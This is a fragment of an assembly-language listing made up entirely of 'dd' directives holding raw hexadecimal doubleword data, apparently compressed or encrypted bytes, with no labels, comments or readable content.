		dd 0A87A944Ch, 1BED07BFh, 10657F39h, 0D69072A7h, 4C06EABCh
		dd 0C57D6032h, 39F3D9ABh, 31543F1Fh, 21D48980h,	2BEA84F6h
		dd 48748B45h, 0CDAF80F3h, 13170E13h, 0F5FBD16Ch, 0AC4AAA8h
		dd 6A220705h, 72856765h, 4105E93Bh, 1217C236h, 0E392EF1Ch
		dd 0BA25F1C0h, 8F3A8D29h, 0DE014073h, 29BA25D3h, 582FE7D0h
		dd 358AFF05h, 2943FDE3h, 772F18F2h, 6F757B72h, 54349133h
		dd 18C5Ch, 0ECC6A600h, 4F494F07h, 0CC6A869h, 785E5C61h
		dd 0A878A4BEh, 5B35748Bh, 0C4BBC078h, 0A7837BBEh, 42952E5Ah
		dd 0AC6D512Bh, 5B610CC6h, 0EFD1AB0Eh, 0C1EC2F35h, 0DA21DA9Ah
		dd 39373CF6h, 32959A52h, 0DA9AA20Fh, 0DF89DC21h, 2125DB2h
		dd 0B0EE4CA1h, 0DB53D4E0h, 4Dh,	6ECC625h, 4A50474Ch, 22062AF6h
		dd 83A6BD68h, 2E5AA06Fh, 0F31F3689h, 0C126BE18h, 0A15B3D7Bh
		dd 0F4FAA59Ch, 0E54D60A7h, 8FF021D9h, 0EC578332h, 0E1159AA7h
		dd 0F5FAB299h, 474D53FEh, 53D4781Bh, 0DE967F59h, 58DCE2D9h
		dd 0DBh, 8B452BA2h, 67492386h, 0CBADA7ADh, 686D250Ah, 0D5AFC671h
		dd 3A3136EEh, 3E9E734h,	7E14449h, 6D646923h, 181ED6BBh
		dd 677E381Eh, 0D5ECA48Dh, 0BAA0FFB2h, 1E247729h, 8A26A1BCh
		dd 0E3C929BAh, 3DE30F29h, 85A8E7FEh, 29BA762Ch,	9AF9FF52h
		dd 57ED8577h, 91A8FB2Eh, 0C1F01352h, 0BD21D80Eh, 886A646Ah
		dd 0FADDB7CEh, 0EFEB3D6h, 257821D8h, 4012747Ah,	0C3CBA45Eh
		dd 60EDF145h, 0AB04977h, 0DF50000h, 80673953h, 0F7DCAEC8h
		dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh,	0DDF7B195h
		dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D488h, 0ECC6952Fh
		dd 4F494F07h, 0C799B36Dh, 823C20E1h, 0C4DB867Dh, 539F3598h
		dd 5608A89Fh, 51B3B971h, 0F9B8DB1Ah, 8529B9D0h,	2B0A2C32h
		dd 88868B45h, 0CCCEE8A2h, 4F6h,	0F04FD162h, 5E16FFD9h
		dd 0FD5C6259h, 5A9290DAh, 6E73C62Eh, 0DA6E8627h, 0F956B721h
		dd 523A1E4Ah, 0F7AC9B54h, 5B525711h, 66A4AAB0h,	9153D44Eh
		dd 207h, 0A0D2E2DBh, 296829BAh,	0BAA0AB06h, 4327D329h
		dd 2B616BAAh, 0A1F5FBA6h, 86A9C07Fh, 2E5C0C12h,	0BFFE1568h
		dd 0C6A2B893h, 0B2B86DE5h, 0FE18D2B8h, 878C462Ch, 2B42E12Fh
		dd 73C97208h, 60398C26h, 0E6159EEEh, 0CBE816FFh, 0DA000009h
		dd 4C1E38F2h, 0C193AD65h, 380A24DCh, 0AB7D974Fh, 0A0F50FC9h
		dd 66200237h, 0DC967A4Ch, 550DF0C2h, 0C983693Bh, 0C1E4CFAFh
		dd 21D487F0h, 0C67A1486h, 9D4F07ECh, 2FC02BAh, 5F5D621Ch
		dd 52BABF79h, 7C62B409h, 9CCAA8C2h, 0B75434EAh,	16Bh, 8B452B01h
		dd 0E8A28886h, 0C17EA2CEh, 4C3F6BAAh, 0C089FA63h, 3BC3060Ch
		dd 3D2E5A77h, 0F9EE5EAh, 2E21DA6Bh, 0EC1A70CDh,	753D4D0h
		dd 4Bh,	0F04FD151h, 0DDC09AD9h,	0E0D02025h, 9DC89EE0h
		dd 478A903Bh, 2E59CCABh, 7E335695h, 0CB21D9CBh,	0BD8F4B9Fh
		dd 0F84B2273h, 7B80D3F2h, 0D9F57934h, 843E2221h, 0E29A817Fh
		dd 99F6ABDDh, 88E54656h, 0D441F432h, 0BA1F53h, 2B690000h
		dd 23868B45h, 0A4A96349h, 0CBADA7ADh, 7DA90C11h, 9D59BE61h
		dd 5E16FF33h, 0CDB3ADB3h, 2A100E13h, 7C3B5670h,	1F29BA48h
		dd 39657F39h, 92D9FFD7h, 4F19CCF5h, 744E8DA4h, 6D44678Bh
		dd 929BA3Fh, 0C2050BB6h, 2E57B63Ah, 0A7E6FD50h,	482AEBCDh
		dd 0E3DDE38Eh, 8EA9EE01h, 0A1A81F83h, 0AB5601BBh, 23DDBF91h
		dd 0F13BDE4Ah, 0DC0AF3EDh, 88Eh, 5B752F17h, 0D0EAA289h
		dd 476119FEh, 0BAD48C75h, 324C06E8h, 5D3FF4DDh,	0D3B789A3h
		dd 4A2DFF19h, 0C0A67892h, 210CEC06h, 0D486B3FEh, 0BF59CB21h
		dd 758F492Bh, 16FCBDA3h, 0B560575Ch, 20DFC49Eh,	857C8139h
		dd 7872D4DAh, 0FC1F452Bh, 29BAA0B5h, 0BEC36EC1h, 0B8F91C5Bh
		dd 0BE29BAA0h, 856B656Bh, 0A0753C5Fh, 0AE0129BAh, 0B15C16FCh
		dd 0EE786E9Ah, 0E2E6A084h, 0E6ECFFE9h, 2BC8284h, 0D1180000h
		dd 0ADD9F04Fh, 0EA5A75E0h, 88E7ED7Dh, 5BBCCD65h, 0B099732Eh
		dd 80D3F2F8h, 0A379347Bh, 63C421D3h, 1772B00Eh,	83C253D2h
		dd 97902144h, 93E621D3h, 0D3981998h, 0EDA58A21h, 39BDC316h
		dd 265h, 0C8876C46h, 2B2227DFh,	9B7D7B80h, 3AE5DCE1h, 87C61234h
		dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 10166929h, 0BAA0E7CDh
		dd 7BB86829h, 0AF094164h, 653F2E5Ch, 0A2C1C781h, 785E384Fh
		dd 0DB937852h, 0CDE4DFD6h, 0A921D492h, 261E5256h, 7F750830h
		dd 2E8BAD4h, 6E04348h, 40590C1Dh, 79556667h, 20D2C9CEh
		dd 847B803Ah, 0DDE62A7Eh, 0D3FBF7BAh, 3E257F21h, 0DF8A8186h
		dd 80FA1D34h, 0F6267408h, 5D64CAA3h, 947DE615h,	74166h
		dd 0C27C6400h, 37EFD6A8h, 0AE664B1Dh, 21D9C294h, 99533507h
		dd 8C812A7Fh, 4D6F0AAh,	7A4C6620h, 0F3C5DF97h, 5939530Dh
		dd 85664B6Eh, 9E1021D4h, 32452B04h, 0C7ED0F53h,	869D485Ah
		dd 0B10CAACh, 0C3C10E14h, 1D94B7DDh, 5929BA02h,	58565B06h
		dd 0B8B6BB73h, 0E9151AD4h, 6C88CB28h, 967CCE23h, 0A30E3170h
		dd 0DB29BA01h, 2248D88h, 0AE5A29BAh, 41F3DE39h,	802BD6DDh
		dd 98032F66h, 2190B32Dh, 5D29BA2Eh, 2580060Ah, 933D7497h
		dd 0E63929BAh, 0E8A0893Bh, 0E0E6ECE3h, 5434E4A2h, 138CDh
		dd 0ECC61700h, 4F494F07h, 0CC6A869h, 0BAF95C61h, 0BAA11A97h
		dd 0B116429h, 57712B11h, 2F46E52Bh, 5AA6F20Ch, 2C31842Eh
		dd 0DA9AC8E5h, 0BF147521h, 0D4E02561h, 394E53h,	2F5B0000h
		dd 0FD1D3A21h, 0F57725D4h, 876D0408h, 0D194B6BCh, 0B6D9F04Fh
		dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 0C83C68B3h,	94667669h
		dd 0E13EB3B9h, 0D4365F8Bh, 0A77853h, 2BC20000h,	0E79F8445h
		dd 5739373Ch, 0F635989Dh, 0BAA0DED3h, 3F459829h, 0A0A55F45h
		dd 0E802BCA2h, 3AF2D7B1h, 0FC3A3E35h, 0D2F34E45h, 0A9DE0E6h
		dd 0A529BAB9h, 87FDACBFh, 38496F33h, 0B69C768Dh, 0FA00F7FCh
		dd 0A3876198h, 2CFFE5E9h, 0E8C457A7h, 0A5828EE2h, 84916B8Eh
		dd 94E72E57h, 7C1A37Dh,	7F391BEDh, 0F0E046A6h, 4C7A63EDh
		dd 5C2h, 2741FBE3h, 9CB66E55h, 132DE5CAh, 86A05841h, 0FE18D2B4h
		dd 290B00A9h, 9F83556Fh, 16F9CBE5h, 8C72445Eh, 0EDD8B8D2h
		dd 0D483E7CAh, 831D8F21h, 758F492Bh, 0E903BDA3h, 1F452BEFh
		dd 0BAA0B5FCh, 8267C129h, 23CEC5CAh, 36107378h,	9791974Fh
		dd 0DBDDF7B1h, 16h, 8B452B71h, 0E8A28886h, 0E63B70E3h
		dd 0DAF4AE94h, 2AD8h, 452B6E00h, 6F3F868Bh, 2E29BAA1h
		dd 8C8A8F47h, 0B9EBF0AAh, 5B64AF04h, 5D4395EAh,	0CBB28CA3h
		dd 0ADDA0F13h, 0E3C3E4D4h, 2B817BDDh, 2E868B45h, 52ADD9E2h
		dd 0F872EC1Fh, 20179A95h, 0B35F29BAh, 0E150B0FEh, 0A24DF87Bh
		dd 0CE688Bh, 55A82E5Ch,	6B7E643Eh, 32F8CCC6h, 90AA5516h
		dd 191ED8BEh, 8C875FC1h
		dd 6E280CF5h, 0BD6E7269h, 1E35E0F6h, 766EF0FBh,	270C6626h
		dd 70D1E003h, 5AAD29BAh, 13ED04AFh, 8759732Dh, 8AE2E7A1h
		dd 6F92A986h, 2E5A5403h, 7512A7Dh, 18EDEEC9h, 4B4012Fh
		dd 9F10000h, 7C63354Fh,	0F3D8AAC4h, 664F213Bh, 0E0C294AEh
		dd 0EB70C26h, 637D3719h, 0D9F3AD91h, 526C2407h,	0C6E09A80h
		dd 0D9D8FBE6h, 0A521D482h, 452B9933h, 0B99F718Bh, 16FCFAFFh
		dd 856B455Ch, 2227DFC4h, 7D7B802Bh, 3137E29Ah, 1D497CE4h
		dd 284B9313h, 34A9AFA7h, 0EDA78DDFh, 0B1C9F5D3h, 2D075434h
		dd 938A8F49h, 5A098Dh, 0D1530000h, 0FFD9F04Fh, 655C611Bh
		dd 60D32E61h, 0FC022BFFh, 0A1845E9Dh, 9C5437E9h, 579AA097h
		dd 2E5A487Eh, 4F8EA5F8h, 0D4DA9275h, 283FF7DAh,	0FFB1694Eh
		dd 0FA5C621Ah, 0D9B7D0DFh, 2BE5CB21h, 789BDA11h, 21D9B839h
		dd 0CBEEF245h, 3E6AE59Eh, 9A7D777Dh, 0EFAFDDE2h, 45000003h
		dd 0E01F452Bh, 0BAA0F4BDh, 3C378A29h, 29BAA075h, 0BC5A701h
		dd 0F4145C60h, 0D73AEC4Ah, 4329272Ch, 0DD436F89h, 0D81B475Eh
		dd 386E0655h, 0AB5AADB1h, 7BAA6CD4h, 0ABD71675h, 0FD151F29h
		dd 15585E57h, 2E5A8CE9h, 0B4171C6Fh, 855F5275h,	593C21DAh
		dd 0CEA59CA1h, 7B32757Bh, 2021DA84h, 7E7C8139h,	0AEDADF97h
		dd 3D4D90EDh, 793118F2h, 4BA1FE73h, 53D4FA1Fh, 4038h, 87C68200h
		dd 0B10C8ADh, 0A0981914h, 8BDE29BAh, 58656E87h,	0FF05B782h
		dd 0AFC665ABh, 5A19668Ch, 0EE11502Eh, 21DA1AC3h, 436268BBh
		dd 9A4EBF0h, 3421DA1Bh,	0E2207ED3h, 0D53D46Ch, 0C6h, 84452B57h
		dd 0ECE3E8A2h, 5C3E3C41h, 2CA5B69Bh, 0C70C567Dh, 3439E48Fh
		dd 91965036h, 0D9F3AD93h, 0BA0E19BEh, 0F6B09629h, 6A240ADCh
		dd 24030D65h, 9751330Dh, 36959B92h, 59EF1313h, 90E9152Eh
		dd 5B489A55h, 7823DBC4h, 0E9005372h, 327D76BDh,	4790944Eh
		dd 62C4CAD1h, 364DEA36h, 1C95B8F7h, 6221DA98h, 30C6090Fh
		dd 46267814h, 2002DCF3h, 3B154C66h, 9B959B55h, 0E226FFB9h
		dd 0F7E61168h, 2B0E00Eh, 0DF50000h, 80673953h, 0F7DCAEC8h
		dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh,	0DDF7B195h
		dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D480h, 492B952Fh
		dd 643E758Fh, 0C9C0C57Dh, 29E3C9C3h, 4FD1150Fh,	3CB6D9F0h
		dd 0C22E5AA0h, 0F619586Fh, 21DA9FBBh, 0CB8569C3h, 7224CFC6h
		dd 80CDD38Bh, 0DA9F7439h, 0A47EC921h, 88FD03BBh, 0BCA27C2Bh
		dd 6FD02h, 0D4EBCCFAh, 0A5E753h, 2B310000h, 88868B45h
		dd 0A0E7ECA6h, 29BAA537h, 0FA14CEB4h, 83884228h, 2307E120h
		dd 726D6469h, 29BA9D3Fh, 3FF9DD37h, 9298433Ah, 6A4ED23Eh
		dd 0CBEE05B0h, 2E5A7E5Bh, 84B0CA1Dh, 65889F9Ch,	2677F0F2h
		dd 71559C48h, 4D74CA8Bh, 0CFB18BA2h, 0C7722C0Eh, 143776ADh
		dd 29B7D39Dh, 868086D9h, 5311EAA4h, 0ECE61181h,	1C8D503h
		dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah
		dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h,	0B2CC866Ch
		dd 0EDC4E7D2h, 8921D47Fh, 492B7D17h, 0BDA3758Fh, 0C6EFE903h
		dd 523A289Ah, 7A20066Eh, 1DE9ED1Dh, 0C27A5FECh,	171BC6BDh
		dd 8189207Dh, 2FC02D8h,	0FA5D621Ch, 7E833B20h, 35EFD587h
		dd 39333930h, 43829953h, 0BA519120h, 9C6CC029h,	76D373DAh
		dd 0E4464C9Fh, 6D722C12h, 3C250B15h, 0DD887F84h, 0A01BA3C6h
		dd 315D2E5Ah, 0A960E3EEh, 2091B40Bh, 5621DA38h,	33525803h
		dd 9EFC9E0h, 4D534A4Fh,	80DD0A00h, 7C965036h, 4C63C050h
		dd 934D330Dh, 4E91978Eh, 267A5318h, 0F8F6FB4Eh,	0E0535812h
		dd 739F56ABh, 6F34ED0Ah, 0E0343AA2h, 0B9DCF330h, 2E5A00ADh
		dd 0ECBED82Bh, 49474C06h, 0B3A9AE66h, 0F9DF2986h, 17F9253Fh
		dd 0E0DE0118h, 16267A17h, 0EA9C563Ch, 4D444901h, 0D0D52847h
		dd 6F542E6Dh, 0E7F5BCB7h, 2E8129B9h, 8E482E28h,	9C153877h
		dd 0E229B9E7h, 463C898Fh, 4559032Fh, 0FD6B8385h, 61585D17h
		dd 0E63BB0B6h, 4259D63Ah, 59F59F1Fh, 0ACC6192Eh, 7C939080h
		dd 0FF05BDA2h, 0D56A7DA0h, 8660267Bh, 0C2E1E79Fh, 5583C916h
		dd 5DB4B870h, 9CA14C1Ah, 0E4FEB89Eh, 6D722C12h,	0BD3B7426h
		dd 0E8457A65h, 0E7FEB89Eh, 0B42C85A8h, 0FF52DD3Ah, 0DFC597F9h
		dd 39222025h, 957E7C81h, 8B36F0D6h, 0EDA58886h,	4A04EAE8h
		dd 9D54A96Ah, 3AB4377Ah, 41EC3FDDh, 5E156A97h, 0B3B5FC1Fh
		dd 6EC1DD3Ah, 0B37D3457h, 0A6F9DD3Ah, 6C0A6A0h,	7A341AECh
		dd 0FD753763h, 4B4648D1h, 3CAF845h, 60000000h, 432B6624h
		dd 0A0868489h, 0E3E1E6h, 61454348h, 0C2A4A2A7h,	23050308h
		dd 7D666469h, 0DDC2C0C5h, 3B222025h, 536D7E83h,	0C381E389h
		dd 4, 5304EB83h, 42474FFh, 24048F5Bh, 14DB685Ch, 14890000h
		dd 2C346824h, 4890000h,	68505724h, 21245A38h, 8D2558h
		dd 0BD0513D6h, 0D11DD6Ch, 699210CBh, 0F2927305h, 58C7898Bh
		dd 815FFA89h, 4ECh, 24248900h, 4240483h, 0B8505258h, 6737270Bh
		dd 4244429h, 8408F58h, 0B084081h, 8B673727h, 89502404h
		dd 405E0h, 4050000h, 87000000h,	0FF5C2404h, 815A2434h
		dd 4C4h, 5CADE900h, 8B15FFFAh, 31210DA2h, 0E6239FB8h, 0FFC50307h
		dd 6AA56EE0h, 0B9AD6E55h, 0B9C50667h, 8335BE40h, 11DC6F0Ah
		dd 0EC41675Ah, 0F4DDD372h, 7A429029h, 0EFCD2479h, 157D5845h
		dd 9079386Ah, 1E20C15Ch, 0E7A8744Ah, 0A1ADB82Dh, 0C46E0F13h
		dd 1952546Eh, 0D89E2B1Eh, 3874AE5Bh, 0F653D045h, 0ABF95064h
		dd 57FAD33Bh, 6E81Dh, 57820000h, 1420895h, 8EB6ECBAh, 0C7815F52h
		dd 6BA7h, 0B863DE80h, 0
		dd 7348BF9h, 0C681EB8Ah, 0E0314DFh, 66FE8B60h, 6807CF81h
		dd 42F68161h, 661F0734h, 81AADCBAh, 0C1813EF6h,	0BE85Eh
		dd 4FC30000h, 2EDD21C1h, 76262263h, 3880FD3h, 80000000h
		dd 895956CEh, 0E8F90734h, 0Ah, 0A8750B8Dh, 76821620h, 81660117h
		dd 5BCB79F3h, 8102E883h, 25D16CD2h, 0B1484826h,	0F881ACh
		dd 0FFFFF95h, 1285h, 0DA8B6600h, 18E9h,	24E06C00h, 0A7EFC728h
		dd 8B14127Bh, 0FF77E9D9h, 857FFFFFh, 10B2252Ah,	58D8D7Ah
		dd 0F07E626h, 8D89C3BFh, 7E01815h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 5FC35545h, 5CF6ABC6h, 958BBBDDh
		dd 7E01AEDh, 204985C7h,	662007E0h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8E5AEC3h
		dd 816675B2h, 8A6F8DCFh, 0C585C7F5h, 7E022h, 89000000h
		dd 0E0193585h, 199D2907h, 0FF07E011h, 0E02A5DB5h, 0C0816607h
		dd 95FF2E66h, 7E02091h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0B6C35646h, 0DE9h, 0C8927E00h, 637D83D3h
		dd 0A93B9CFBh, 6AD46Ch,	18A995FFh, 0C08B07E0h, 68362AEBh
		dd 0D6DD99F0h, 183391D3h, 5F6FE686h, 706EF0E7h,	372EA93Dh
		dd 7DB6035Dh, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h
		dd 8CE9h, 6922D800h, 0F5CC4729h, 0D138F3BAh, 0ABAFD666h
		dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh
		dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h
		dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h
		dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h
		dd 899DBBEFh, 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h
		dd 0A4370052h, 10D3C20Dh, 0E09h, 3 dup(0)
		dd 1145E900h, 8A680000h, 0E907E628h, 0FFFA5A07h, 0E629BC68h
		dd 59FDE907h, 0BD68FFFAh, 0E907E62Ah, 0FFFA59F3h, 0E62C4068h
		dd 59E9E907h, 0CD68FFFAh, 0E907E62Ch, 0FFFA59DFh, 0E62D6768h
		dd 59D5E907h, 3668FFFAh, 0E907E62Eh, 0FFFA59CBh, 0E62ED968h
		dd 59C1E907h, 0D768FFFAh, 0E907E62Fh, 0FFFA59B7h, 0E6307568h
		dd 59ADE907h, 5568FFFAh, 0E907E631h, 0FFFA59A3h, 0E632CE68h
		dd 5999E907h, 6268FFFAh, 0E907E635h, 0FFFA598Fh, 0E6368C68h
		dd 5985E907h, 9981FFFAh, 0CF3C5DFh, 83683A54h, 0F6DFB1CBh
		dd 7052243Eh, 9E479CB6h, 0F30DC7A9h, 69833D21h,	0E2FCB497h
		dd 56702A10h, 49688B76h, 3521D47Ah, 452B29C3h, 0A288868Bh
		dd 283F48Fh, 92C2D0Dh, 29BA8CA8h, 25D07BCEh, 0F231DF0Bh
		dd 9346B8DBh, 7DD02E5Ah, 8E7C3178h, 60C121DAh, 0F471AD03h
		dd 3E9A53D4h, 0E4000000h, 99974FD1h, 0F7E4B52Fh, 0C9F50CB7h
		dd 0FD9C4592h, 7666CC9h, 5A5E0EE4h, 1015682Eh, 38F0D3ADh
		dd 5DBEEF32h, 1E7F21DAh, 0A93F6BC1h, 0E85853D4h, 65000000h
		dd 0B2F2339h, 0D3D9066Eh, 84452BB1h, 0E8DFE49Eh, 583A383Dh
		dd 29060145h, 0A04BFD48h, 0FDB79D9Bh, 0D154BAE6h, 0FAD0A706h
		dd 0C3A9A7F4h, 8CB8EF09h, 0AEC75EB9h, 0A8EBF110h, 29B9DD30h
		dd 0CF876C46h, 28E9CFC9h, 8D848941h, 10F6C8E2h,	0E2F1C8FDh
		dd 37E908DEh, 0A0979C54h, 8898F0F5h, 517194ABh,	0C72E5A38h
		dd 0E22E5A74h, 9DA25C3Eh, 0B8E4FBA6h, 946AF5DCh, 9AF9FF32h
		dd 77DED877h, 0F40B5E26h, 677E381Ah, 0E7ECA48Dh, 0B688EAF0h
		dd 11411AD4h, 0AEE6112Eh, 0EBA97C5h, 0CDB50000h, 4027F913h
		dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh
		dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D479h
		dd 0ECC655EFh, 0AA624708h, 0FD03FAFFh, 7D602103h, 1EC9C0C5h
		dd 8B4C3204h, 0F1E8EDA7h, 0D1322C46h, 0B6D9F04Fh, 2E5AA03Ch
		dd 0CC6A882h, 785E1007h, 0BCC2B9BEh, 0FE454A9Dh, 21DA9FAFh
		dd 7AD02D8Eh, 53D4EB4Ch, 0F967h, 9AC6B100h, 0AB33C909h
		dd 0ECE6ECF7h, 0A9634506h, 7BFA6A4h, 49ACB15Ch,	97656F1Dh
		dd 171D9E8Ah, 7C813B1Dh, 1E00DA19h, 3C486964h, 0DB2E29BAh
		dd 848A4229h, 0BA409741h, 7A341A29h, 0EEA88E60h, 0B08F91E9h
		dd 9B805A99h, 924A31E3h, 4D90968Dh, 2E5A2075h, 0F5AF91EBh
		dd 0D1F4334Ah, 21DA5FE0h, 73A0EA96h, 0B9564E8Ah, 7AA6080Eh
		dd 43829996h, 3C5F8569h, 21DA8675h, 0FD03AE01h,	77FDA4BAh
		dd 0C8DF3226h, 3B520CEEh, 0FDD8D9FCh, 3B5E29B7h, 29B7FD76h
		dd 83D6AD00h, 0B8E41B7Dh, 0D5B04EDh, 9A767A2Dh,	8166B471h
		dd 3F211B21h, 37E29C7Eh, 1184445Eh, 0BEECD5E6h,	0D88h
		dd 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h,	21CD6B8h
		dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h,	0F1DCBCD6h
		dd 0D477E3CEh, 8F299B21h, 758F492Bh, 0E903BDA3h, 38F2D8B2h
		dd 452B1032h, 0A288868Bh, 13F7D1E8h, 575D5459h,	863E23F5h
		dd 0F4AC956Fh, 9BA15942h, 2E11EB4Eh, 90767076h,	5985BCD6h
		dd 0DE01A36Ah, 29B9CBD3h, 905458ABh, 8F010784h,	1092BED1h
		dd 3AE02ACAh, 48698CA3h, 2E29BA28h, 9F81D5DBh, 0CAAF89A0h
		dd 64160D12h, 60BFC57Dh, 5A2D293Dh, 1C055F2Eh, 12BD775Dh
		dd 90765067h, 0ECD3D0D6h, 0D65011C2h, 0F9B19A74h, 0B2719FF3h
		dd 78395C9Bh, 0FE395051h, 2346A5ABh, 3DF0656Fh,	0CAE70AC9h
		dd 0B4323045h, 59B1B661h, 356178B7h, 0A9F49C5Ah, 8BEAF004h
		dd 0CEE96D68h, 5F76C936h, 0CEE59F85h, 17456C8Fh, 0DE313951h
		dd 0BEA476D8h, 36172B04h, 0C3ACD678h, 0C8795h, 4600E800h
		dd 0BB735A2Ch, 32EACFA1h, 0A55D4618h, 1DD7B98Bh, 1005AE03h
		dd 885A742Eh, 0FED0EAA4h, 7749631Bh, 0DDBDD791h, 76E2CFF2h
		dd 2A9C21D4h, 0BC9AC690h, 8C1BCEF6h, 0ABD2DF02h, 59AC29B9h
		dd 0C8AEA8AEh, 381DF70Eh, 0CA2D7A80h, 4E540EF0h, 8AAD16FAh
		dd 29B9AC27h, 3A51FC4Fh, 35C73B0Eh, 1F25AA62h, 1F4281C0h
		dd 29BA5E92h, 509399ECh, 2E5A422Eh, 8FBBD528h, 688BA281h
		dd 267A2706h, 0D1181D70h, 29BA58DCh, 1A1FD9BFh,	797E381Ch
		dd 317CD106h, 0D63C021h, 5434A2D1h, 52FAh, 4FD14400h, 1FB6D9F0h
		dd 972E5AEFh, 0F5A0583Dh, 641E04DEh, 4225FF5Eh,	0E1E59F83h
		dd 0AECB7E93h, 546E1919h, 0F6BBDE1Dh, 0A521DA39h, 0DC2F06BEh
		dd 898F472Ah, 0DA3A6946h, 3D503621h, 0DAC309D9h, 22261D22h
		dd 0A44F4DD4h, 1DD5B88Ah, 0B96EA18h, 0D1800000h, 4C04E94Fh
		dd 0A09F1235h, 84D729BAh, 7C9FC2D9h, 0D22E5C87h, 0A88E687Fh
		dd 1C02D4EEh, 7ADED3F6h, 459821D4h, 5832959Ah, 67B7BC76h
		dd 22709336h, 0C4CA751Ch, 6C83A070h, 5BA5012Dh,	35CC1E85h
		dd 0D4849F12h, 0D984D721h, 6AFA90D3h, 21742676h, 244A300Ah
		dd 0BA66B001h, 0C873C629h, 0A38963C2h, 17FDCFE9h, 1000585Dh
		dd 672D84A7h, 0E60929BAh, 29BA66CBh, 368960B3h,	2151748Bh
		dd 572E5A4Ah, 0B25D17FDh, 0EECACBD9h, 4D7B64EDh, 0B04h
		dd 0AFC9836Bh, 243EF6DDh, 9BB56D52h, 0E28E0C9h,	86A05A3Ch
		dd 0B1938831h, 270BDDF7h, 9E81536Dh, 14FACCE6h,	7560405Ah
		dd 0D4755F52h, 0BA51721h, 0BAA0CBE2h, 8DAA7629h, 0FEB89C76h
		dd 0FC7699F8h, 422E5C86h, 0C1C77F68h, 5E384FA2h, 0C3BABF77h
		dd 9E845EBDh, 7B5C5578h, 0CF2221D4h, 61E10D24h,	0D0886BCCh
		dd 810E16CCh, 6147197Bh, 0C64AA2A7h, 39135269h,	5E99B55h
		dd 7C02454Bh, 0FA267410h, 1C6CEA7h, 7A63E615h, 0A774Ch
		dd 5610F800h, 0CB836A3Ch, 42FADFB1h, 0B56D5628h, 2DE7C99Bh
		dd 2015BE13h, 986A843Eh, 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h
		dd 74D2DF02h, 3AAC21D4h, 8B452BA0h, 60492386h, 0C2A8A2A8h
		dd 5D8E0308h, 0E67CAA00h, 13975434h, 0E1000005h, 0D9F04FD1h
		dd 5C86A8B6h, 0C4DB2E2Eh, 304A04EAh, 0B9BE785Eh, 0D47B3B72h
		dd 99BCFB21h, 21D47B18h, 0B1050B5Eh, 0DFB9D06Fh, 483F44FCh
		dd 78A4E342h, 0CAAEE852h, 10140B10h, 5C62B5FFh,	73876519h
		dd 0C7A0F326h, 0E6158455h, 0DD4F7D66h, 92000009h, 4D6F0AAh
		dd 794B651Dh, 0F0C2DC94h, 63354F07h, 58ADC781h,	1ED8BA6Fh
		dd 944E3204h, 0DC5A87Ah, 813B21F3h, 799C8767h, 21D47438h
		dd 2B32CC3Eh, 23868B45h, 0A4AA6249h, 0F30AC4AAh, 767B3519h
		dd 0B72C797Fh, 6C10709Ch, 0BDB7D12Eh, 6D731ED6h, 19459BF8h
		dd 5754346Fh, 2BDD977Dh, 848A42h, 45Eh,	193BE10Dh, 77EDE463h
		dd 0BA0F5D54h, 1BC61929h, 0C5CB8569h, 0A0CBE2A3h, 0AA7629BAh
		dd 0E153768Dh, 972E5C87h, 6D532D44h, 0E1C799B3h, 0AED11027h
		dd 21D47B03h, 0CB5BB14Eh, 8259356Eh, 96EA2B2Fh,	0FA99EF54h
		dd 0C14FA7F4h, 56284B62h, 0E0267432h, 2CB3FE21h, 78CB29B4h
		dd 2025DDC6h, 39A57E29h, 4EE6151Fh, 90E3765h, 79610000h
		dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
		dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
		dd 1521D473h, 0ECC609A3h, 173A5109h, 29BAA09Ah,	918B91E4h
		dd 89ECF1ABh, 0F14CCAFh, 32181218h, 29D48C71h, 0BA94AF24h
		dd 22191ED8h, 0F44AA71Ch, 5434E6B6h, 391E1h, 0D1E22B00h
		dd 7429BAA0h, 55788FACh, 2E5C87C8h, 0E5243B8Eh,	686D270Bh
		dd 8B716B71h, 0FFE5B7D1h, 38E84045h, 0B9C1E4FBh, 0CF267487h
		dd 77C4ED10h, 67BA29B4h, 0D47DE3BCh, 0AD96E614h, 86B7Fh
		dd 621C0400h, 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h
		dd 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h, 93657F37h,	0F9D9F3ADh
		dd 72C6EB0Eh, 3EB021D4h, 2A9AC6A4h, 0B88854F0h,	7D7B2AB6h
		dd 81253679h, 2E33EDCFh, 51373137h, 0AE949297h,	3E87EFF4h
		dd 6F5832E1h, 0D462B2B7h, 0CCAA76A1h, 524C52FDh, 0BA98B26Ch
		dd 5434A98Ch, 530BF2CCh, 0B36B504Eh, 77E0208h, 0C8000000h
		dd 2D5FBh, 9AC69100h, 0CCDFA5CDh, 6D446774h, 929B9DCh
